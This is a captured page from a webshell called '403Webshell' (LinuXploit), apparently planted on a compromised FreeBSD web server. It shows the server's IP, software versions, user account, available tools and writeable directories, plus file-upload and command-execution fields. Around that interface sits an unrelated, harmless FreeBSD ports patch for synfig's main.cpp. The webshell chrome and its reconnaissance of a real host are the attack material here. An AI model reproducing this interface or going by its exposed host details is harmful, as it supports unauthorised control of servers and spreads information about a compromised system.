403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/synfig/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/synfig/files/patch-src__synfig__main.cpp
--- src/synfig/main.cpp.orig	2022-04-20 18:01:09.451858000 -0700
+++ src/synfig/main.cpp	2022-04-20 19:15:23.316538000 -0700
@@ -224,7 +224,7 @@
 
 	unsigned int i;
 #ifdef _DEBUG
-#ifndef __APPLE__
+#ifndef __clang__
 	std::set_terminate(__gnu_cxx::__verbose_terminate_handler);
 #endif
 #endif
@@ -546,7 +546,11 @@
 	/* Read from /proc/self/exe (symlink) */
 	//char* path2 = (char*)malloc(buf_size);
 	char* path2 = new char[buf_size];
-	strncpy(path2, "/proc/self/exe", buf_size - 1);
+#if defined(__FreeBSD__) || defined (__DragonFly__)
+		strncpy(path2, "/proc/curproc/file", buf_size - 1);
+#else
+		strncpy(path2, "/proc/self/exe", buf_size - 1);
+#endif
 
 	while (1) {
 		int i;
@@ -584,6 +588,7 @@
 	//free(path2);
 	delete[] path2;
 
+#if ! (defined(__FreeBSD__) || defined(__DragonFly__))
 	if (result == "")
 	{
 		/* readlink() or stat() failed; this can happen when the program is
@@ -625,7 +630,8 @@
 		free(line);
 		fclose(f);
 	}
-	
+#endif
+
 	free(path);
 
 #endif

Youez - 2016 - github.com/yon3zu
LinuXploit